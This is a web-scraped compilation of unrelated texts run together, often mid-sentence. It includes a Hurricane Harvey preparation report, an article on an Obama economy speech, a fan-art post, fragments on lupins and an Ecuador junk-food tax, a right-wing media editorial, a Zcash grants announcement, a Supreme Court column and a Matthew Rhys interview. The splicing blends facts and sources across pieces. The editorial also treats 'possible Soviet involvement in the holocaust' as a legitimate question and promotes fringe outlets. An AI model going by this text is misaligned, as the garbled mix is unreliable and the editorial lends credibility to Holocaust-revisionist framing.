That claim becomes harder and harder to make with each passing year.
Visit EcoWatch’s RENEWABLES page for more related news on this topic.Advertisement
Texas is bracing itself for the storm of the decade as Hurricane Harvey barrels towards the state, which is expecting catastrophic flooding, power outages, winds up to 130mph and 30 inches of rain.
Final preparations were being made on Friday morning, as officials emphasized that the situation was'very serious' and said that the window for evacuation from flood-threatened coastal areas was closing quickly.
The National Weather Service on Friday morning urged that preparations should be 'rushed to completion' adding that 'conditions are expected to deteriorate throughout the day'.
The US National Hurricane Center said Harvey has 'rapidly intensified' and experts say weather conditions have created the perfect recipe for the monster Category 3 hurricane to form and crash into Texas later on Friday.
The national guard has been mobilized amid fears over life-threatening flash flooding, which poses 'a grave risk' to Texans as the hurricane is expected to be the strongest to hit the United States mainland in 12 years since Hurricane Wilma in 2005.
Texas is bracing itself for the storm of the decade as Hurricane Harvey (pictured) can be seen from outer space
Water from Hurricane Harvey's storm surge crashes through pylons at a fishing pier in Port Isabel, Texas on Friday morning
Final Preparations: People rush to buy plywood Friday at Lowes in Corpus Christi, Texas as Hurricane Harvey approaches
The powerful 'perfect' storm is barreling towards the state with expected flooding and up to 30 inches of rain on Friday night
A truck carrying new utility polls is staged for depolyment in preparation of Hurricane Harvey on Friday in Port Isabel, Texas
The national guard has been mobilized amid fears over the life-threatening flash flooding, which poses 'a grave risk'
The hurricane is expected to be the strongest to hit the United States mainland in 12 years since Hurricane Wilma in 2005
Local mayors have warned residents 'to get out of Dodge' as flooded waters could cause alligators to wash up on people's front door steps.
President Donald Trump is standing by and monitoring the hurricane, ready to provide necessary resources to the gulf region, the White House said on Thursday. Trump is asking citizens to plan ahead for the storm.
National Weather Service director Louis Uccellini said meteorologists expect the hurricane to hail down with winds of 130 mph or higher and up to 30 inches of rain, which could lead to major chaos in southeast Texas.
The powerful storm is set to hammer the Texas Gulf Coast with an extremely dangerous combination of 'torrential rainfall, storm-surge flooding and destructive winds this weekend, before taking a strange, meandering path next week', the Weather Channel reported.
Texas Governor Greg Abbott ordered the State Operations Center to elevate its readiness level, making state resources available for possible rescue and recovery actions, in addition to activating 700 members of the Texas Army Guard, Texas Air National Guard and the Texas State Guard.
The national guard has been mobilized amid fears over the life-threatening flash flooding, which poses 'a grave risk' to Texans. Pictured: The projected path of the expected track of the circulation center
Rogelio Ortiz makes his way off the Pirate's Landing Fishing Pier as rain from Hurricane Harvey falls in Port Isabel, Texas
People are panicking as grocery stores are rapidly selling out of water and supplies in Houston (pictured), increasing the frenzy on Thursday night before Hurricane Harvey is expected to hit Texas the following day
The powerful storm is set to hammer the Texas Gulf Coast with an extremely dangerous combination of 'torrential rainfall, storm-surge flooding and destructive winds' this weekend. Pictured: People stocking up on water in Houston
The Fort Bend County Sheriff's Office sent out an alert to residents about potential sightings of alligators due to the storm
Harvey grew quickly Thursday from a tropical depression into a Category 1 hurricane. Fueled by warm Gulf of Mexico waters, it was projected to become a major Category 3 hurricane.
The last storm of that category to hit the U.S. was Hurricane Wilma in October 2005 in Florida.
The storm officially became a Category 2 hurricane as of 1am on Friday morning, on track to strengthen to its expected Category 3 level by Friday night.
At a press conference on Thursday afternoon, Corpus Christi's Mayor Joe McComb told people not to dismiss Harvey and to voluntarily evacuate, saying: 'We encourage the residents in low-lying areas, as they say, to get out of Dodge.'
McComb added: 'Go to a family, friend and get to higher ground.'
The mayor's warning comes on the heels of Fort Bend County Sheriff's Office sending out an alert to residents about potential sightings of alligators due to the storm.
The department tweeted: 'Gators and flooding advice via @txgatorsquad: Expect them to be displaced. Simply looking for higher ground. Leave alone until water recedes.'
Rain started to fall in Port Isabel, Texas, on Thursday night as Hurricane Harvey is expected to hit the region the next day. The storm officially became a Category 2 hurricane as of 1am on Friday morning
Hurricane Harvey is expected to be the strongest to hit the United States mainland in 12 years since Hurricane Wilma in 2005
Residents wait inside the Corpus Christi Natatorium to board a bus to evacuate to San Antonio ahead of Hurricane Harvey on Thursday in Corpus Christi, Texas
Residents fill sand bags as they prepare for Hurricane Harvey in Corpus Christi, Texas. Two counties have ordered mandatory evacuations as Hurricane Harvey gathers strength as it drifts toward the Texas Gulf Coast
White House press secretary Sarah Huckabee Sanders said in a press briefing on Thursday that Trump is ready to respond with aid to Texas and surrounding areas affected by the hurricane.
She said: 'We have acting secretary Elaine Duke who's watching this closely and very involved in the process along with the acting director for FEMA and again, I think that we are in great shape, having General Kelly sitting next to the president throughout this process.
'There's probably no better chief of staff for the president during the hurricane season, and the president has been briefed and will continue to be updated as the storm progresses.
'And certainly it's something he's very aware of and will keep a very watchful eye on. He stands ready to provide resources if needed.'
The president was previously briefed on the government's hurricane preparations from FEMA disaster relief officials earlier this month, reported The Hill.
Trump said: 'FEMA is something I've been very much involved in already. We've already taken care of many of the situations that really needed emergency funds. We do it quickly, we do it effectively, we have an amazing team.'
On Thursday, Trump released a video of him meeting with FEMA officials on Twitter, asking citizens to plan ahead for Hurricane Harvey and provided links to resources.
HARVEY'S PERFECT STORM RECIPE: WARM WATER, CALM AIR UP HIGH Hurricane Harvey is following the perfect recipe to be a monster storm, meteorologists say. Warm water. Check. Calm air at 40,000 feet high. Check. Slow speed to dump maximum rain. Check. University of Miami senior hurricane researcher Brian McNoldy said Harvey combines the worst attributes of nasty recent Texas storms: The devastating storm surge of Hurricane Ike in 2008; the winds of Category 4 Hurricane Brett in 1999 and days upon days of heavy rain of Tropical Storm Allison in 2001. Rainfall is forecast to be as high as 35 inches through next Wednesday in some areas. Deadly storm surge - the push inwards of abnormally high ocean water above regular tides - could reach 12 feet, the National Hurricane Center warned, calling Harvey life-threatening. Harvey's forecast path is the type that keeps it stronger longer with devastating rain and storm-force wind lasting for several days, not hours. 'It's a very dangerous storm,' National Weather Service Director Louis Uccellini told The Associated Press. 'It does have all the ingredients it needs to intensify. And we're seeing that intensification occur quite rapidly.' WARM WATER Warm water is the fuel for hurricanes. It's where storms get their energy. Water needs to be about 79 degrees (26 Celsius) or higher to sustain a hurricane, McNoldy said. Harvey is over part of the Gulf of Mexico where the water is about 87 degrees or 2 degrees above normal for this time of year, said Jeff Masters, a former hurricane hunter meteorologist and meteorology director of Weather Underground. A crucial factor is something called ocean heat content. It's not just how warm the surface water is but how deep it goes. And Harvey is over an area where warm enough water goes about 330 feet (100 meters) deep, which is a very large amount of heat content, McNoldy said. 'It can sit there and spin and have plenty of warm water to work with,' McNoldy said. WEAK WINDS If winds at 40,000 feet high are strong in the wrong direction it can decapitate a hurricane. Strong winds high up remove the heat and moisture that hurricanes need near their center and also distort the shape. But the wind up there is weak so Harvey 'is free to go nuts basically,' McNoldy said. PERFECT PATH Before it hits the Texas coast, Harvey is projected to go over an even deeper and warmer eddy to supercharge it a bit more, just like what happened to Hurricane Katrina in 2005, but not quite as bad, Masters said. If that's not bad enough, there's a good chance that after Harvey hits it will follow a track so close to the coast and not so much inland that it will essentially keep a toe in the water. The storm could be big enough that not all of it is over land. Because of that, the National Hurricane Center forecasts that it will remain at least tropical storm strength - and 40 mph winds - through Tuesday, maybe into Wednesday. SLOW SPEED Because it looks like Harvey will be meandering at around 10 mph and then will likely stall out over the coast or just a bit inland, that means it will stay over one place and keep raining, Masters said. Day in, day out until the middle of next week. 'We're talking feet of rain, not inches,' Masters said. And the storm's heavy rains can last not just a few hours but 'over a two-, three-, four-day period' from Texas to Louisiana, Uccellini said.
As the storm looms, customers are fighting over water as grocery stores are rapidly selling out of supplies, increasing the frenzy before Hurricane Harvey arrives.
Officials have asked residents to evacuate as they prepare for chaotic flooding and power outages but those who are staying in the path of the hurricane rushed to grocery stores in order to stock up on water, food, gas and other supplies on Thursday night.
However, they arrived to find shops with empty shelves, causing people to fight over the last containers of water as some likened the scenes to Black Friday.
People have taken to social media to post pictures of the mad dash as they went to get supplies on Thursday night.
Photos show people waiting in long lines to check out with pallets of water bottles in their carts and cars lined up around blocks to get gas.
One user wrote on Twitter: 'People grabbing cases of water like it's a Black Friday sale. Hurricane Harvey is real.'
Another said: 'I had to drive almost 30 minutes to find a store that has water... This Houston hurricane is no joke man.'
A dismayed woman wrote: 'Bread is gone. Gas is gone. Water is gone. If you don't have it already, you need to befriend your neighbors.'
Shelves were empty, causing people to fight over the last containers of water as some likened the scene to Black Friday. People took to social media to post pictures of the mad dash as they went to get supplies on Thursday night in Houston
Customers enter H-E-B Plus in Corpus Christi, Texas on Thursday to stock up on supplies in advance of Hurricane Harvey
Governor Abbott preemptively declared a state of disaster for 30 counties on or near the coast to speed deployment of state resources to any areas affected.
Trump called Abbott on Thursday night to personally tell him that he was ready to help respond to the strongest hurricane expected to hit the US in more than a decade.
Abbott tweeted out a photo of himself on the phone with Trump and said: 'Spoke with Pres. Trump & heads of Homeland Security & FEMA. They're helping Texas respond to #HurricaneHarvey.'
Louisiana Governor John Bel Edwards also received a call from Trump that night, tweeting: 'Spoke w/ @POTUS @realDonaldTrump this afternoon. He offered his full support to the people of LA as we prepare for #Harvey.'
A statement released by Abbott added: 'President Trump called Governor Abbott to offer federal support for the State of Texas as Hurricane Harvey approaches the Gulf Coast.
'The President pledged all available resources from the federal government to assist in preparation, and rescue and recovery efforts.
'The Governor thanked the President for his pledge of support and assured him that the state is working hand-in-hand with local and federal partners on all issues related to the storm.'
President Trump urged citizens to prepare for Hurricane Harvey on Thursday and said he is ready to provide aid. The president called Texas Governor Gregg Abbott (right) later that night to personally inform him of his planned aid
Both the Texas Governor and Louisiana Governor John Bel Edwards received calls from Trump on Thursday night
As of 11pm CDT, Hurricane Harvey was located 180 miles southeast of Corpus Christi, Texas
Officials are warning residents to prepare for massive flooding as coastal areas like Corpus Christi and even Houston could experience'very heavy' rainfall
Officials say the storm will bring strong offshore winds as coastal flooding persists east of Harvey
National Weather Service director Uccellini added that the hurricane was 'a very dangerous storm.' He said it's a 'potentially impactful storm' that will last over several days and produce large rains from Texas into Louisiana.
Uccellini said Harvey is a risk to people with extremely heavy rainfall that causes inland flooding lasting through the middle of next week, a large storm surge and high winds. A storm surge is an abnormal rise of water above the normal tide, generated by a storm.
Uccellini also notes that the storm is intensifying as it approaches land.
Harvey will be the first hurricane to strike Texas since 2008 after Category 2 Hurricane Ike devastated some parts of the state.
'Now is the time to check your emergency plan and take necessary actions to secure your home or business. Deliberate efforts should be underway to protect life and property,' the weather service said in an statement early on Thursday.
Emergency officials asked residents along the upper Texas coastline to move or prepare to move inland.
Those in low-lying areas were urged to seek higher ground, and those elsewhere were told to monitor official announcements closely.
The entire coast of Texas is on either a tropical storm warning or hurricane warning due to this powerful storm
Much of the coast of Texas is under storm surge warning including parts of Port O'Connor and Corpus Christi
Meteorologist Eric Holthaus pleaded with his Twitter followers to spread the word and start preparing for the possible hurricane
The storm is now expected hit the central Texas coast with a combination of winds of 115 miles per hour and heavy rains, said John Tharp, a forecaster with Weather Decision Technologies in Norman, Oklahoma.
'With this system's intensity and slow motion, it is the worst of both worlds,' he said referring to the expected winds and rains. 'There will be major impacts along the coast and inland with periods of prolonged rain.'
Harvey will cause a storm surge that will flood parts of the Texas coast as it makes landfall and linger for days over the state, dumping up to 30 inches of rain on some areas, the NHC said in an advisory on Thursday.
The mayor of Texas coastal city Corpus Christi warned on Wednesday that flooding was his biggest concern.
'I hope people will listen to forecasters when they say 'beware of flash floods,'' Joe McComb said. 'Flash floods can come quickly, and they can be deadly.'
Texas A&M University-Corpus Christi issued a mandatory evacuation to all students who live on campus and canceled events.
Authorities have issued several warnings for residents to prepare for flooding as part of the approaching hurricane
Forecasters say there is a potential upper-level steering pattern this weekend that may stall Harvey for some time near or over the western Gulf Coast
Harvey will be the first hurricane to strike Texas since Hurricane Ike in 2008 and could prove to be deadly
Shrimp crew dock at the Brownsville Shrimp Basin Thursday as Hurricane Harvey approaches the Texas coast
Shoppers pass empty shelves along the bottled water isle in a Houston grocery store as Hurricane Harvey intensifies in the Gulf of Mexico on Thursday
Harvey is forecast to be a major hurricane when it makes landfall along the middle Texas coastline on Friday night
Marie Michel loads a filled water bottled into her shopping cart inside the Kroger store in preparation of Hurricane Harvey on Thursday in Houston
U.S. gasoline prices surged to a three-week high on Thursday as Hurricane Harvey moved across the Gulf of Mexico and threatened to slam oil refineries in Texas when it comes ashore this weekend.
Energy companies including Royal Dutch Shell, Anadarko Petroleum and Exxon Mobil have evacuated staff from offshore oil and gas platforms in the storm's path.
Two oil refineries Corpus Christi were shutting down ahead of the storm, and concern that Harvey could cause shortages in fuel supply drove benchmark gasoline prices to a three-week high.
Prices for gasoline in spot physical markets on the Gulf Coast rose even more, hitting a one-year high.
Profit margins for refineries producing gasoline rose by over 12 percent on Thursday, putting margins on course for their biggest daily percentage gain in six months, according to Reuters data.
A shopper finds empty shelves on the bottled water section inside the Kroger store on in preparation of Hurricane Harvey in Houston
Bryan and Brenda Tumlinson install storm shutters on their store, Island Joes Coffee and Gallery, on North Padre Island in Corpus Christi, Texas, ahead of the hurricane
Marina employees secure the boater's facility at the Corpus Christi Marina in preparation for Hurricane Harvey on Thursday
The two refineries that have shut have combined capacity to refine more than 450,000 barrels per day of crude.
The NHC expects the storm to come ashore along the central Texas coast, an area that includes Corpus Christi and Houston, home to some of the biggest refineries in the country.
More than 45 percent of the country's refining capacity is along the U.S. Gulf Coast, and nearly a fifth of the nation's crude oil is produced offshore in the region.
The storm could also bring flooding to inland shale oil fields in Texas that pump millions of barrels per day of crude.
The U.S. Gulf of Mexico is home to about 17 percent of the nation's crude output and five percent of dry natural gas output, according to the U.S. Energy Information Administration.
A shrimp boat travels along the Port of Brownsville, Texas, ship channel to dock at the Brownsville Shrimp Basin Thursday
Fresh Texas Gulf shrimp is removed from the bottom of a shrimp boat as shrimp crews dock at the Brownsville Shrimp Basin to wait out Hurricane Harvey
Ken Knox secures a friend's boat at the Corpus Christi Marina in preparation for Hurricane Harvey on Thursday
From left, Buddy Cooper and Patrick Gesner, commanding officer of the Salvation Army in Corpus Christi receive supplies of water and clean-up kits in preparation for Hurricane Harvey on Thursday
Bill Tippett, with the Salvation Army disaster department, deliver supplies of water and clean up kits to the Salvation Army in preparation for Hurricane Harvey on Thursday
Other Gulf of Mexico operators said they were watching developments closely but operations were unaffected.
On South Padre Island, people filled sandbags and loaded them into cars and vans to take to protect exposed homes and businesses.
Others in the forecast path of the storm sought out generators, plywood and other goods from hardware stores.
Meanwhile, rice farmers in coastal Matagorda County moved quickly to harvest their crops.
A sign reminds motorists to prepare for Hurricane Harvey on Thursday as highways are expected to see more traffic on Friday
Chris Mathew fills his vehicle and five gas cans at Costco in Pearland, Texas in preparation for the powerful storm approaching
Leo Sermiento (L) and Emilio Gutierrez (R) fill sandbags in preparation of a Hurricane Harvey on Wednesday on South Padre Island, Texas,
Robert Cavanaugh buys plywood at The Home Depot to board up his windows ahead of a Hurricane Harvey on Wednesday in Corpus Christi, Texas
A man stands in font of empty shelves where generators are kept at The Home Depot ahead of a Hurricane Harvey on Wednesday in Corpus Christi, Texas
Texas Governor Greg Abbott ordered the State Operations Center to elevate its readiness level, making state resources available for possible rescue and recovery actions
Rainfall totals of 10 to 15 inches were possible over the middle and upper Texas coast and southwest Louisiana through Tuesday, the Miami-based hurricane center said.
Hurricane, tropical storm and storm surge watches were in effect for counties on the eastern coast of Texas as the storm moved across the Gulf of Mexico, where it may strengthen into a hurricane.
A storm surge watch was in effect for Port Mansfield to High Island, just up the coast from Galveston.
A tropical storm watch was in effect for Boca de Catan, Mexico, just south of the Texas border, to Port Mansfield and from San Luis Pass to High Island.A fiery President Obama dove headfirst into the 2016 debate on Wednesday, launching a broadside against the policies of presumptive Republican presidential nominee Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE.
Obama defended his handling of the economy, arguing his administration’s efforts rescued the country from the economic abyss and warning voters against traveling down the path being forged by Trump.
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“The primary story that Republicans have been telling about the economy is not supported by the facts,” the president said during a speech in Elkhart, Ind. “It’s just not."
The president’s trip to the northern Indiana city was sold as an official White House event on the economy, but it had all the trappings of an Obama campaign stop.
He strode on stage at Concord High School without a jacket and his shirtsleeves were rolled up. He spoke in an informal cadence and repeatedly shouted over the roaring crowd of more than 2,000.
The audience booed at the president’s first veiled reference to Trump. “No booing,” Obama responded, “We’re voting.”
The president hammered Trump’s central argument, that international trade and immigration have hurt American workers. He blasted the real estate mogul’s tax plan and called his pledge to roll back regulations under his Wall Street reform law “crazy.”
“That will not help us win,” Obama said of Trump’s plans. “That is not going to make your lives better. That will help people like him.”
He tied Trump to other top Republicans who have distanced themselves from him, including 2012 GOP presidential nominee Mitt Romney and Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.).
He said party leaders have for decades claimed that bogeymen, such as “takers” and “the 47 percent,” hurt the economy because it helps them get votes.
“It is the story that is broadcast everyday on some cable news stations. It's pumped into cars and bars and VFW halls all across America and right here in Elkhart," he said, calling on voters to “challenge the assumptions behind this economic story.”
The president even took a shot at the GOP standard-bearer’s bombastic style, warning voters not to “fall for a bunch of okey doke just because you know it sounds funny or the tweets are provocative.”
“When I hear working families thinking’ about voting for those plans, then I want to have an intervention,” he added.
But the event also illustrated an obstacle Obama faces as a final-year president who still has yet to officially hit the campaign trail: his speech was not aired live on cable TV networks, as almost every Trump event is.
Obama returned to Elkhart, the site of his first-ever presidential visit, to extol it as a symbol of the economic recovery that took place under his watch.
He touted the city’s 4.1 percent unemployment rate — down from 19.6 percent at its peak in 2009 — increased high-school graduation rate and lower home foreclosure rate to show the stimulus and auto bailouts have worked.
Republicans have noted that Elkhart’s recovery, like the rest of the nation’s, has been uneven. The city’s jobs are tied to the boom-and-bust recreational vehicle industry, which has seen a recent upswing.
Republicans argue that the economy rebounded in places such as Indiana despite Obama’s economic initiatives, not because of them.
“Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE is running on four more years of Obamanomics, so the president is trying to convince voters his record of weak growth, stagnant wages, and a shrinking middle class is really a success story," said Republican National Committee spokesman Michael Short
Trump has found strength in places like blue-collar Elkhart. He won Indiana’s GOP primary last month, cementing his status as the party’s standard-bearer.
In particular, the billionaire's arguments against globalization, such as his pledge to build a massive wall on the U.S. southern border, have been powerful in attracting white working-class voters.
Obama sought to push back on Trump’s arguments.
“Look, in today’s economy, we can’t put up walls around America,” Obama said. “We’re not going to deport 11 million people. We’re not going to put technology back in the box.”
But that argument could become complicated for Obama if and when he hits the campaign trail for Clinton, the likely Democratic presidential nominee.
The former secretary of State has embraced Obama and his policies on the campaign trail as she seeks to turn out the coalition that elected him president twice.
But one of the biggest policy differences between Obama and Clinton is on trade. Like Trump, she opposes the president's Pacific Rim trade deal.Check out my FIM title card project jowybean.deviantart.com/galler… I will have a new card done soon
Nothing of season 5yet but there will be.I want to start making more traditional art just to give my creative juices some thing new to tackle. Although I am happy I have some what found my own voice with my brony art, now feels like the right time to continue experimenting with media and styles.And No despite the layout of the picture this is not the pony version of The last supper. This is just a simple slice of moment at the dinner table with the Sparkle family when Twi was a Filly.
Until next deviation LATERS Bronies
drawn with pencils Uni Pin pens and pro markers in 4 hours
Win Fail Is this CuteWinFail
I choose to use a tan colour to emphasise the past feel in the scene, commonly known asor(North America), is a genus of flowering plants in the legume Fabaceae. The genus includes over 200 species, with centers of diversity in North and South America. Smaller centers occur in North Africa and the Mediterranean. Seeds of various species of lupins have been used as a food for over 3000 years around the Mediterrranean (Gladstones, 1970) and for as much as 6000 years in the Andean highlands (Uauy et al., 1995), but never have they been accorded the same status as soybeans or dry peas and other pulse crops. The pearl lupin of the Andean highlands of South America, Lupinus mutabilis, known locally as tarw(h)i or choco, was extensively cultivated, but there seems to have been no conscious genetic improvement other than to select for larger and water-permeable seeds. Users soaked the seed in running water to remove most of the bitter alkaloids and then cooked or toasted the seeds to make them edible (Hill, 1977; Aguilera and Truer, 1978), or else boiled and dried them to make kirku (Uauy et al., 1995). However, Spanish domination led to a change in the eating habits of the indigenous peoples, and only recently has interest in using lupins as a food been renewed (Hill, 1977).Ecuador is set to become the latest Latin American nation to crack down on junk food after President Rafael Correa promised a new tax to slim the South American nation’s bulging waistlines.
Details of the levy have yet to be made public but Mr Correa’s ruling alliance has a large majority in congress that invariably passes legislation with minimal changes, and the President’s antipathy towards foreign fast food chains – especially from the US – is clear.
“People are dying from bad food, not a lack of food,” he told local journalists. “People will stop eating so many McDonald’s and Burger King hamburgers [with this tax]. This favours the production of our traditional gastronomy.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
“If you want to make yourself sick, that is your problem. We are in a free country. But those who deliberately affect your health, they should contribute a little more to the healthcare system to help you once you are ill.”
Latin America has some of the fastest rising obesity rates in the world, thanks to strong economic growth and a rapidly urbanising population. According to the Pan American Health Organisation, half the adults in |
right-wing perspective. I am not fooling anyone. I want us here to find the balance between not becoming a conservative echo chamber that takes talking points right from the GOP and shining a light on subjects even networks like FOX might pass up.
FOX would never talk about race. I say let us have a fair and open discussion about it. FOX rarely talks about traditional roles and the inherent worth of a woman who values tradition. I say, let’s dig deeper into that. We even had a discussion on my show, The Patriarchy Show, with a guest known as Wild Goose about possible Soviet involvement in the holocaust. It wasn’t just some redneck anti-Semitic rant but a short conversation about the issues.
Is it a crime to question? I am not a conspiracy theorist. I am aware it is a loaded term. I don’t believe that aliens committed 9/11. Nevertheless, if there are questions that are raised and no answer is readily available, we should all be inquisitive and delve deeper into that topic. Also, to ridicule people who may have a different way of looking at a news story as a conspiracy theorist has been reported to have been invented by the CIA to make those that do not fall in line with the official narrative as crazy. It is a conspiracy theory about a conspiracy theory.
10 sites I frequent:
The Ralph Retort
Infowars
Prison Planet
Breitbart News
The Daily Caller
Wikileaks
Takimag
The Drudge Report
Zero Hedge
Danger and Play
The above are just to name ten off the top of my head. Utilize Google. I find sometimes what I am looking for may be on page 4 of the search results. Due diligence is key.
It’s a tired analogy, but with the news only being trusted by only 6% of the population, it might be time for a mass ingestion of red pills. Can the public make it through the journey? Would they rather make a deal with the machines and stay plugged in? If there has ever been a time for the public to attempt to remove the scales from their eyes, the time is now.
Acts 9:18
And immediately there fell from his eyes something like scales, and he regained his sight, and he got up and was baptized
Ian Erickson is New Media Central’s Editor-in-Chief and co-host of The Patriarchy Show. Follow him on Twitter.
Enjoyed this article? Pick up Ian Erickson’s book Broken on Amazon!In line with our newfound status as a 501(c)3 non-profit, and our mission to support privacy-preserving spaces online, we’re very pleased to announce that the Zcash Foundation has reached an official decision for the 2017Q4 Grant Proposals. Following the recommendations of the review committee, the Zcash Foundation board has unanimously decided to approve the recommendations, and therefore commits to funding 10 projects for a total $127,000.*
*Subject to a final confirmation that all grants are made within the charitable purpose set out in the Foundation’s mission and tax filings, and that all payments will comply with all relevant US anti-money laundering and sanctions laws.
The Zcash Foundation Grant Program is the third (and largest) disbursal of funds from the Zcash Founder’s Reward into the community (building on the earlier Test Transaction Awards and the Open Source Miner Challenge ). The proposals were reviewed based on their potential to advance the Zcash Foundation’s missions of education, protocol stewardship, and community building. The proposal reviewing process itself has been an experiment in transparency and inclusivity.
We aimed to make the proposal process friendly and accessible, without compromising on diligent critical evaluation. Another unusual aspect was the level of transparency and community participation in the evaluation process: most discussion happened publicly within comments to the respective Github issues, and there were over 270 such comments! I’m happy that we came up with a robust process, that can serve as a template for future grants (with some tweaks).
It was especially gratifying how many proposals evolved and improved during the discussion. So beyond the allocation of the funds, another win from this process was helping the proposers figure what’s the best thing they can build! We look forward eagerly to seeing the good works proceed.
Eran Tromer, Head of the Grant Review Committee
The following proposals were selected for funding:
For a summary of the these proposals, the selection rationale, and a detailed account of the process, see the Review Committee’s recommendations.
The Foundation intends to repeat the grant program and fund new projects in 2018. While the process this time worked well, we’re considering several future improvements, such as adding funding tracks for small lightweight grants, for multi-stage projects, and for ongoing online services. Meanwhile, the community is encouraged to suggest ideas for future grant projects.
We are committed to disbursing the grants to awardees in ZEC as soon as possible. Note that, due to our newfound status as a 501(c)3 tax-exempt organization, we are held to high standards of accountability and reporting, and must ensure compliance with these regulations; we expect that this will take several weeks.
We thank everyone who submitted proposals and participated in their evaluation!With Monday the last day left on its calendar, the Supreme Court is expected to signal this coming week where it stands in the scrum over tradition versus modernity, civil rights, and the ’60s, as it is poised to rule on the constitutionality of the University of Texas’s affirmative-action program, the Defense of Marriage Act, gay marriage in California, and the pre-clearance requirements of the Voting Rights Act. The status quo may take a big hit.
Already this past week, the court struck down Arizona’s voter-identification law, holding that in federal elections the issue of proof of citizenship has been preempted by federal law, thus preserving Congress’s prerogative to set the terms of voter eligibility. Set against the ongoing immigration debate, the court let Congress—not the states—run the show for now.
Significantly, the court also agreed to entertain a challenge to the standard used in federal housing-discrimination cases. Specifically, the court will hear arguments in the fall and determine by next summer whether a plaintiff claiming discrimination must demonstrate a defendant’s intention to discriminate or whether a statistical showing of “disparate impact” will suffice.
At a time of growing global inequality, wage stagnation here at home, and America on its way to being a majority-minority country by midcentury, the stakes of this challenge are higher than they may appear. The case is not just about liability for municipalities, builders, and lenders. The battle over intent versus impact is also a proxy for many of the political clashes that mark the age of Obama and that will be with us after he leaves office.
Although the administration was loath to say it aloud, the fight over Obamacare was, in part, about transferring wealth from more affluent and older white Americans to younger and poorer minorities. Like it or not, ethnicity, assimilation and wages are the same the currents that roil immigration. As Eleanor Clift recently lamented, the brouhaha in Congress over food stamps is not just about budgets.
The court’s expected decision in the Texas admissions case—coupled with its announcement that it will review what constitutes housing discrimination—places it at the intersection of America’s more pressing and raw demographic and political dilemmas. As for affirmative action, the court is being asked to resolve the fact that it has shifted from being a tool engineered nearly half a century ago to address blatant discrimination against blacks into an ethnic entitlement that more often than not benefits upper-income Americans of all races in the name of diversity.
Given our growing social calcification, the need to boost growth and social mobility is great. But whether this goal can be achieved remains an open question. Regardless, constituents continue to make new demands and politicians must harvest votes.
Yet, even against this backdrop of needs and wants, the silent majority has made clear that it views racial preferences as an unfair advantage that should no longer be used in awarding jobs or seats in the classroom. A recent Washington Post–ABC poll pegged voter opposition to race-based admissions at almost 80 percent. Still, the public remains sympathetic to income-based programs, and even if the administration has sided with the University of Texas, Candidate Obama acknowledged the wisdom of a class-based approach, and this is where universities may need to go after Monday, or go nowhere at all.
During an interview with George Stephanopoulos in 2007, Obama mused over whether his daughters should be beneficiaries of affirmative action. Obama said: “Well, first of all, I think that my daughters should probably be treated by any admissions officer as folks who are pretty advantaged, and I think that there’s nothing wrong with us taking that into account as we consider admissions policies at universities. I think that we should take into account white kids who have been disadvantaged and have grown up in poverty and shown themselves to have what it takes to succeed.”
Not doing anything about deepening inequality is politically unacceptable, particularly in the face of the browning of America, with white deaths now exceeding white births and a majority of children age 5 and younger being minorities. To put things in historical context, earlier Catholic immigrations combined with the Great Depression helped bring FDR, the New Deal, and Keynesianism to the White House, while Jewish immigration altered traditional legal understandings of the First Amendment’s Establishment Clause and elevated the separation of church and state to a whole new plane.
Dominant Protestant suppositions were supplanted by a different ethos in both instances, and these days, America’s minorities once again bring a different point of view to the table. According to a recent Gallup poll, minorities are more trusting of government and institutions than whites—with the exception of the military, police, and small business. In other words, America’s divides are real. The question is whether they are intractable.
Practically, making peace with gay marriage appears to be the easier piece of the social puzzle, if not the judicial one. Letting the relatively affluent do what they want to do on their own dime and time should be a no-brainer, especially as religious institutions have squandered the moral authority that they once possessed and lower-income family structure becomes ever more fragile. Squaring the needs and aspirations of an ossifying underclass, however, is the more difficult lift.
In the end, the taxpaying body politic can realistically be expected to do only so much. America is not Iceland, and it cannot afford to be Sweden. The Republic’s tectonic plates will continue to grind and clash.Details Created: Tuesday, 03 March 2015 07:37 Published: Tuesday, 03 March 2015 08:42 Written by Justine Browning
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"The Americans" may easily be classified as one TV’s most riveting dramas. The Cold War set thriller stars Keri Russell and Matthew Rhys as a pair of KGB agents who find that their arranged marriage has become real. Now in it’s third season, the series has become quite a showcase for Rhys, whose mesmerizing turn as Philip has wowed critics.
During a Q&A conference call for the series, the Welsh-born actor spoke about transforming into Philip and his alter egos as well as the Russian spy’s affinity for American culture.
Q: So for you now being in season three, what has still been the most challenging part? Since you have to play several characters, actually, being the spy, what has been the most challenging part and which is maybe the easier part of playing him?
MATTHEW RHYS: I’m still figuring out if there is indeed an easy part to playing him. I suppose the more enjoyable is that he continues to be as layered and rich and complex as he has been from the beginning.
The harder part for me is to land him in a place of reality, somewhere that’s real for me and hopefully real for an audience in that someone who has to juggle, in its reference, and keep as many plates in the air as Philip does, but the pressure that that would bring, it’s landing that in a real place. For me, it’s the hardest balancing act.
Q: At the end of last season we got the big news that the center is going to be trying to recruit Elizabeth and Philip’s daughter Paige and we see that this is going to set up a conflict between the two parents as Elizabeth seems to be more open to this idea of their daughter becoming a spy than Philip is. Can you talk about how that conflict is going to affect their marriage and affect the family in season three?
MATTHEW RHYS: Yes, it’s the predominant and overriding arc for Philip and Elizabeth during this season, which is this enormous conflict between them that sets them poles apart, really, as they come from two opposing sides as to what should be done about Paige. Really, the entire season is that grapple and that wrestle between the two as they thrash it out.
Q: What driving his belief that he really wants to keep his daughter out of this business?
MATTHEW RHYS: I think a number of things. I think, ultimately, as we’ve seen a flashback in one and two, Philip and Elizabeth were children when they were picked, you know? They were in late teenage years and I think heavily indoctrinated. Really, you look back at your own age, you’re not very sure who you are at that time. He’s found himself in a vocation that he really didn’t choose in a way; I think it was chosen for him in a way, thrust upon him, and he’s evolving at a time and bursting out at a time when he realized it probably isn’t the life that he would have chosen nor is it the life he wants, and the same applies heavily for his daughter.
